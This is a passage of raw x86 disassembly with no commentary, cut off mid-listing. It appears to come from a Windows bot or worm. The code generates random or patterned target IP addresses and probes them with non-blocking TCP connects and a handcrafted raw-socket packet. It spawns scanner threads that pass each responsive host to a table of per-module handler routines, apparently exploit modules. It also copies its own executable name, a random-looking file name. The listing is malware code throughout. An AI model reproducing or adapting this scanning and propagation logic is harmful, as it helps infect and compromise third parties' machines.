dword_4E3258[eax*8] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_448710 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40C105 ; --------------------------------------------------------------------------- loc_40C0F2: ; CODE XREF: sub_40C0B6+13j lea eax, [ebp+Dest] push offset asc_44872C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_40C105: ; CODE XREF: sub_40C0B6+3Aj push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 18h leave retn sub_40C0B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C12D(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_40C12D proc near ; CODE XREF: sub_40CB69+4Fp var_210 = dword ptr -210h Source = byte ptr -204h var_4 = byte ptr -4 Format = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C5FF shl eax, 6 xor ebx, ebx cmp dword_44822C[eax], ebx jz loc_40C5FF push 5 call sub_40B99E test eax, eax pop ecx jnz loc_40C3B4 mov eax, dword_43F078 push edi mov esi, offset dword_4E5314 push 104h push esi push ebx mov dword_4E5524, eax mov dword_4E5520, ebx call ds:dword_4F5344 ; GetModuleFileNameA mov edi, offset Str ; "nlzhxmpyrjsyle.exe" push 103h ; Count push edi ; Source push offset byte_4E5418 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E5310, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov dword_4E55A8, eax jnz short loc_40C1E0 lea eax, [ebp+Format] push eax ; Source push offset byte_4E5528 ; Dest call _strncpy add esp, 0Ch mov dword_4E55AC, 1 jmp short loc_40C1FA ; --------------------------------------------------------------------------- loc_40C1E0: ; CODE XREF: sub_40C12D+94j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E5528 ; Dest call _strncpy add esp, 0Ch mov dword_4E55AC, ebx loc_40C1FA: ; CODE XREF: sub_40C12D+B1j push esi lea eax, [ebp+Source] push dword_4E5524 push offset asc_44874C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 5 ; int push eax ; Source call sub_40B756 add esp, 1Ch mov dword_4E551C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5310 push offset sub_412217 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, dword_4E551C imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40C268 loc_40C256: ; CODE XREF: sub_40C12D+139j cmp dword_4E55B0, ebx jnz short loc_40C283 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40C256 ; --------------------------------------------------------------------------- loc_40C268: ; CODE XREF: sub_40C12D+127j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_448780 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C283: ; CODE XREF: sub_40C12D+12Fj lea eax, [ebp+Source] push eax call sub_415C3F mov eax, dword_4E2E18 mov esi, offset dword_4E55BC mov [esp+210h+var_210], 104h push esi push ebx mov dword_4E57CC, eax mov dword_4E57C8, ebx call ds:dword_4F5344 ; GetModuleFileNameA push 103h ; Count push edi ; Source push offset byte_4E56C0 ; Dest call _strncpy mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4E55B8, eax mov eax, [ebp+arg_138] pop edi mov dword_4E5850, eax push 7Fh ; Count jnz short loc_40C304 lea eax, [ebp+Format] push eax ; Source push offset byte_4E57D0 ; Dest call _strncpy add esp, 0Ch mov dword_4E5854, 1 jmp short loc_40C31E ; --------------------------------------------------------------------------- loc_40C304: ; CODE XREF: sub_40C12D+1B8j lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E57D0 ; Dest call _strncpy add esp, 0Ch mov dword_4E5854, ebx loc_40C31E: ; CODE XREF: sub_40C12D+1D5j push esi lea eax, [ebp+Source] push dword_4E57CC push offset asc_4487B4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 4 ; int push eax ; Source call sub_40B756 add esp, 1Ch mov dword_4E57C4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E55B8 push offset sub_40F402 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, dword_4E57C4 imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40C38C loc_40C37A: ; CODE XREF: sub_40C12D+25Dj cmp dword_4E5858, ebx jnz short loc_40C3A7 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40C37A ; --------------------------------------------------------------------------- loc_40C38C: ; CODE XREF: sub_40C12D+24Bj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4487E8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C3A7: ; CODE XREF: sub_40C12D+253j lea eax, [ebp+Source] push eax call sub_415C3F pop ecx loc_40C3B4: ; CODE XREF: sub_40C12D+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_448234[ecx], ebx jz loc_40C4DD push 7 call sub_40B99E test eax, eax pop ecx jnz loc_40C4D7 mov eax, dword_4E5E6C cmp [ebp+arg_90], bl mov dword_4E527C, eax mov eax, [ebp+arg_110] mov dword_4E5270, eax mov eax, [ebp+arg_138] mov dword_4E5278, ebx mov dword_4E5300, eax push 7Fh ; Count jnz short loc_40C428 lea eax, [ebp+Format] push eax ; Source push offset byte_4E5280 ; Dest call _strncpy add esp, 0Ch mov dword_4E5304, 1 jmp short loc_40C442 ; --------------------------------------------------------------------------- loc_40C428: ; CODE XREF: sub_40C12D+2DCj lea eax, [ebp+arg_90] push eax ; Source push offset byte_4E5280 ; Dest call _strncpy add esp, 0Ch mov dword_4E5304, ebx loc_40C442: ; CODE XREF: sub_40C12D+2F9j push dword_4E527C lea eax, [ebp+Source] push offset asc_44881C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 7 ; int push eax ; Source call sub_40B756 add esp, 18h mov dword_4E5274, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5270 push offset sub_40F160 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, dword_4E5274 imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40C4AF loc_40C49D: ; CODE XREF: sub_40C12D+380j cmp dword_4E5308, ebx jnz short loc_40C4CA push 32h call ds:dword_4F534C ; Sleep jmp short loc_40C49D ; --------------------------------------------------------------------------- loc_40C4AF: ; CODE XREF: sub_40C12D+36Ej call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44884C ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C4CA: ; CODE XREF: sub_40C12D+376j lea eax, [ebp+Source] push eax call sub_415C3F pop ecx loc_40C4D7: ; CODE XREF: sub_40C12D+2A8j mov eax, [ebp+arg_130] loc_40C4DD: ; CODE XREF: sub_40C12D+298j shl eax, 6 cmp dword_448230[eax], ebx jz loc_40C5FF push 3 call sub_40B99E test eax, eax pop ecx jnz loc_40C5FF mov esi, offset byte_4E5AEC push 104h push esi push ebx call ds:dword_4F5344 ; GetModuleFileNameA push 5Ch ; Ch push esi ; Str call _strrchr pop ecx cmp eax, ebx pop ecx jz short loc_40C51E mov [eax], bl loc_40C51E: ; CODE XREF: sub_40C12D+3EDj mov eax, dword_43F07C mov dword_4E5C04, ebx mov dword_4E5BF0, eax lea eax, [ebp+Format] push eax ; Format push offset byte_4E5864 ; Dest call _sprintf mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4E5860, eax mov ecx, [ebp+arg_138] push esi push dword_4E5BF0 mov dword_4E5BFC, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4E5C00, ecx call sub_40AF71 pop ecx push eax lea eax, [ebp+Source] push offset asc_448884 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 3 ; int push eax ; Source call sub_40B756 add esp, 20h mov dword_4E5BF8, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5860 push offset sub_40FB50 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, dword_4E5BF8 imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40C5D7 loc_40C5C5: ; CODE XREF: sub_40C12D+4A8j cmp dword_4E5C0C, ebx jnz short loc_40C5F2 push 32h call ds:dword_4F534C ; Sleep jmp short loc_40C5C5 ; --------------------------------------------------------------------------- loc_40C5D7: ; CODE XREF: sub_40C12D+496j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4488C0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40C5F2: ; CODE XREF: sub_40C12D+49Ej lea eax, [ebp+Source] push eax call sub_415C3F pop ecx loc_40C5FF: ; CODE XREF: sub_40C12D+14j ; sub_40C12D+25j ... pop esi pop ebx leave retn sub_40C12D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C603(int Dst) sub_40C603 proc near ; CODE XREF: sub_40C951:loc_40C9C2p Dst = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Dst] push esi push 4 ; Size lea esi, dword_4E3258[eax*8] lea eax, [ebp+Dst] push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4E3020 ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4E30F4 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C603 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40C64B(char *Src,int) sub_40C64B proc near ; CODE XREF: sub_40C951+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+Src] ; Str mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call _strlen cmp eax, 0Fh pop ecx jbe short loc_40C673 xor eax, eax jmp short loc_40C6E4 ; --------------------------------------------------------------------------- loc_40C673: ; CODE XREF: sub_40C64B+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C6A0 call _rand mov [ebp+var_C], eax loc_40C6A0: ; CODE XREF: sub_40C64B+4Bj cmp [ebp+var_8], esi jnz short loc_40C6AD call _rand mov [ebp+var_8], eax loc_40C6AD: ; CODE XREF: sub_40C64B+58j cmp [ebp+var_4], esi jnz short loc_40C6BA call _rand mov [ebp+var_4], eax loc_40C6BA: ; CODE XREF: sub_40C64B+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C6C6 call _rand loc_40C6C6: ; CODE XREF: sub_40C64B+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4E3258[ecx*8], eax loc_40C6E4: ; CODE XREF: sub_40C64B+26j pop esi leave retn sub_40C64B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6E7 proc near ; CODE XREF: sub_40BF01+59p ; sub_40C951+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C710 xor eax, eax jmp short loc_40C77F ; --------------------------------------------------------------------------- loc_40C710: ; CODE XREF: sub_40C6E7+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4E30F8 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4E3194 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4E30A0 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4E30E0 ; select push esi mov edi, eax call dword_4E3190 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C77F: ; CODE XREF: sub_40C6E7+27j pop edi pop esi pop ebx leave retn sub_40C6E7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 10110h call __alloca_probe push ebx push esi push edi mov edi, 2649h push edi call dword_4E30F8 ; htons push dword ptr [ebp+10h] mov [ebp-28h], ax call dword_4E30F8 ; htons mov [ebp-26h], ax call _rand xor ebx, ebx push 200h mov [ebp-24h], eax mov [ebp-20h], ebx mov [ebp-1Ch], bx mov [ebp-0Ch], bx mov word ptr [ebp-1Ah], 5 mov [ebp-18h], bx mov word ptr [ebp-16h], 1 mov [ebp-14h], bx mov [ebp-12h], bx mov [ebp-10h], bx mov [ebp-0Eh], bx call dword_4E30F8 ; htons mov esi, [ebp+0Ch] mov [ebp-0Ah], ax mov eax, [ebp+8] push 24h mov [ebp-8], bx mov [ebp-6], bx mov [ebp-58h], eax mov [ebp-54h], esi mov [ebp-50h], bl mov byte ptr [ebp-4Fh], 6 call dword_4E30F8 ; htons mov [ebp-4Eh], ax lea eax, [ebp-28h] push 24h push eax lea eax, [ebp-4Ch] push eax call _memcpy lea eax, [ebp-58h] push 20h push eax call sub_40AFCA mov [ebp-8], ax push 10h lea eax, [ebp-38h] push ebx push eax call _memset add esp, 20h mov word ptr [ebp-38h], 2 push dword ptr [ebp+10h] call dword_4E30F8 ; htons push 6 push 3 push 2 mov [ebp-36h], ax mov [ebp-34h], esi mov dword ptr [ebp-4], 10h call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C883 push offset aSocketOpenFail ; "socket open failed" jmp loc_40C944 ; --------------------------------------------------------------------------- loc_40C883: ; CODE XREF: .text:0040C877j push dword ptr [ebp-4] lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-28h] push 24h push eax push esi call dword_4E315C ; sendto cmp eax, 14h mov [ebp+10h], eax jz short loc_40C8CC call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp-0D8h] push dword ptr [ebp+10h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push eax call _sprintf lea eax, [ebp-0D8h] push eax call sub_415C3F add esp, 14h jmp short loc_40C915 ; --------------------------------------------------------------------------- loc_40C8CC: ; CODE XREF: .text:0040C89Ej push 10038h lea eax, [ebp-10110h] push ebx push eax call _memset add esp, 0Ch loc_40C8E1: ; CODE XREF: .text:0040C908j cmp [ebp-100FAh], di jz short loc_40C91E lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_4E30D0 ; recvfrom test eax, eax jge short loc_40C8E1 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_415C3F pop ecx loc_40C915: ; CODE XREF: .text:0040C8CAj push esi call dword_4E3190 ; closesocket jmp short loc_40C94A ; --------------------------------------------------------------------------- loc_40C91E: ; CODE XREF: .text:0040C8E8j push esi call dword_4E3190 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_40C93F push offset aSocketOpen_ ; "Socket open." call sub_415C3F pop ecx push 1 pop eax jmp short loc_40C94C ; --------------------------------------------------------------------------- loc_40C93F: ; CODE XREF: .text:0040C92Dj push offset aSocketClosed_ ; "Socket closed." loc_40C944: ; CODE XREF: .text:0040C87Ej call sub_415C3F pop ecx loc_40C94A: ; CODE XREF: .text:0040C91Cj xor eax, eax loc_40C94C: ; CODE XREF: .text:0040C93Dj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C951 proc near ; DATA XREF: sub_40CB69+13Bo var_2A8 = dword ptr -2A8h Dest = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h Src = byte ptr -150h var_140 = byte ptr -140h Str = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+Src] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand mov ebx, esi pop ecx imul ebx, 234h loc_40C998: ; CODE XREF: sub_40C951+204j mov eax, dword_45601C[ebx] cmp dword_4E325C[eax*8], 0 jz loc_40CB5A cmp [ebp+var_10], 0 push eax ; Dst jz short loc_40C9C2 lea eax, [ebp+Src] push eax ; Src call sub_40C64B pop ecx jmp short loc_40C9C7 ; --------------------------------------------------------------------------- loc_40C9C2: ; CODE XREF: sub_40C951+60j call sub_40C603 loc_40C9C7: ; CODE XREF: sub_40C951+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_45601C[ebx] push [ebp+var_3C] push edi call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_448978 ; "-" push eax ; Dest call _sprintf add esp, 18h lea eax, [ebp+Dest] push eax ; Format lea eax, dword_455E18[ebx] push eax ; Dest call _sprintf push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C6E7 add esp, 14h cmp eax, 1 jnz loc_40CB4A cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40CA9E push offset dword_4E5258 call ds:dword_4F53A8 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_4489B0 ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40CA80 cmp [ebp+Str], 0 push 1 ; int push [ebp+var_18] ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Str] jnz short loc_40CA74 lea eax, [ebp+var_140] loc_40CA74: ; CODE XREF: sub_40C951+11Bj push eax ; Str push [ebp+var_40] ; int call sub_409D34 add esp, 14h loc_40CA80: ; CODE XREF: sub_40C951+100j lea eax, [ebp+Dest] push eax call sub_415C3F mov [esp+2A8h+var_2A8], offset dword_4E5258 call ds:dword_4F53A4 ; RtlLeaveCriticalSection jmp loc_40CB4A ; --------------------------------------------------------------------------- loc_40CA9E: ; CODE XREF: sub_40C951+D0j push edi call dword_4E3184 ; inet_ntoa push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax ; Format lea eax, [ebp+var_178] push eax ; Dest call _sprintf cmp [ebp+Str], 0 pop ecx pop ecx lea eax, [ebp+Str] jnz short loc_40CAE3 lea eax, [ebp+var_140] loc_40CAE3: ; CODE XREF: sub_40C951+18Aj push eax ; Format lea eax, [ebp+var_1F8] push eax ; Dest call _sprintf mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_448224[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40CB4A: ; CODE XREF: sub_40C951+C6j ; sub_40C951+148j push 7D0h call ds:dword_4F534C ; Sleep jmp loc_40C998 ; --------------------------------------------------------------------------- loc_40CB5A: ; CODE XREF: sub_40C951+55j push esi call sub_40BA72 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_40C951 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB69 proc near ; DATA XREF: sub_401CC7+1F72o ; sub_401CC7+5CC9o var_1DC = dword ptr -1DCh Source = byte ptr -1CCh var_14C = byte ptr -14Ch Str = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4E3138 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4E3258[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40C12D push 0Bh call sub_40B99E add esp, 150h cmp eax, ebx jnz short loc_40CC37 mov esi, offset dword_4E5258 push esi call ds:dword_4F53B0 ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4F53AC ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40CC37 lea eax, [ebp+Source] push offset asc_4489D8 ; "-" push eax ; Dest call _sprintf xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40CC21 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409D34 add esp, 14h loc_40CC21: ; CODE XREF: sub_40CB69+99j lea eax, [ebp+Source] push eax call sub_415C3F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40CC37: ; CODE XREF: sub_40CB69+63j ; sub_40CB69+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_4F534C mov edi, ebx mov dword_4E325C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40CD04 loc_40CC55: ; CODE XREF: sub_40CB69+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+Source] push offset asc_448A0C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 0Bh ; int push eax ; Source call sub_40B756 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_45601C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C951 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40CCCF loc_40CCC4: ; CODE XREF: sub_40CB69+164j cmp [ebp+var_4], ebx jnz short loc_40CCF6 push 1Eh call esi ; Sleep jmp short loc_40CCC4 ; --------------------------------------------------------------------------- loc_40CCCF: ; CODE XREF: sub_40CB69+159j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_448A40 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C3F add esp, 10h loc_40CCF6: ; CODE XREF: sub_40CB69+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40CC55 loc_40CD04: ; CODE XREF: sub_40CB69+E6j cmp [ebp+var_30], ebx jz loc_40CDAE mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40CD19: ; CODE XREF: sub_40CB69+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4E3258[eax*8] push eax call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_448A78 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40CD67 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409D34 add esp, 14h loc_40CD67: ; CODE XREF: sub_40CB69+1DFj lea eax, [ebp+Source] push eax call sub_415C3F mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4E325C[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B99E cmp eax, 1 pop ecx jnz short loc_40CD9E push offset dword_4E5258 call ds:dword_4F53B0 ; RtlDeleteCriticalSection loc_40CD9E: ; CODE XREF: sub_40CB69+228j push [ebp+var_2C] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_40CDAE: ; CODE XREF: sub_40CB69+19Ej ; sub_40CB69+25Dj mov eax, [ebp+var_2C] cmp dword_4E325C[eax*8], 1 jnz loc_40CD19 push 7D0h call esi ; Sleep jmp short loc_40CDAE sub_40CB69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDC8 proc near ; DATA XREF: sub_40CE95+7Bo ; sub_40CF86+7Bo var_BC = dword ptr -0BCh Str = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_38] call dword_4E30F8 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40CE86 lea eax, [ebp+Dst] push 10h push eax push esi call dword_4E30A0 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_456024[ecx], esi jz short loc_40CE86 push [ebp+var_38] push [ebp+var_28] call dword_4E3184 ; inet_ntoa push eax mov edi, offset byte_4E5C1C push offset asc_448AB8 ; "-" push edi ; Dest call _sprintf push 0 ; int lea eax, [ebp+Str] push [ebp+var_20] ; int push edi ; int push eax ; Str push [ebp+var_BC] ; int call sub_409D34 push edi call sub_415C3F add esp, 28h loc_40CE86: ; CODE XREF: sub_40CDC8+5Dj ; sub_40CDC8+7Ej push esi call dword_4E3190 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40CDC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; int __cdecl sub_40CE95(int Dst) sub_40CE95 proc near ; DATA XREF: sub_401CC7+60BFo Dest = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h Src = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+Dst] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_4F534C mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40CEC3: ; CODE XREF: sub_40CE95+ECj push [ebp+var_30] push [ebp+Src] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_448AE0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_455E18 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40CDC8 push edi push edi call ds:dword_4F5350 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40CF2F loc_40CF24: ; CODE XREF: sub_40CE95+98j cmp [ebp+var_C], edi jnz short loc_40CF2F push 32h call esi ; Sleep jmp short loc_40CF24 ; --------------------------------------------------------------------------- loc_40CF2F: ; CODE XREF: 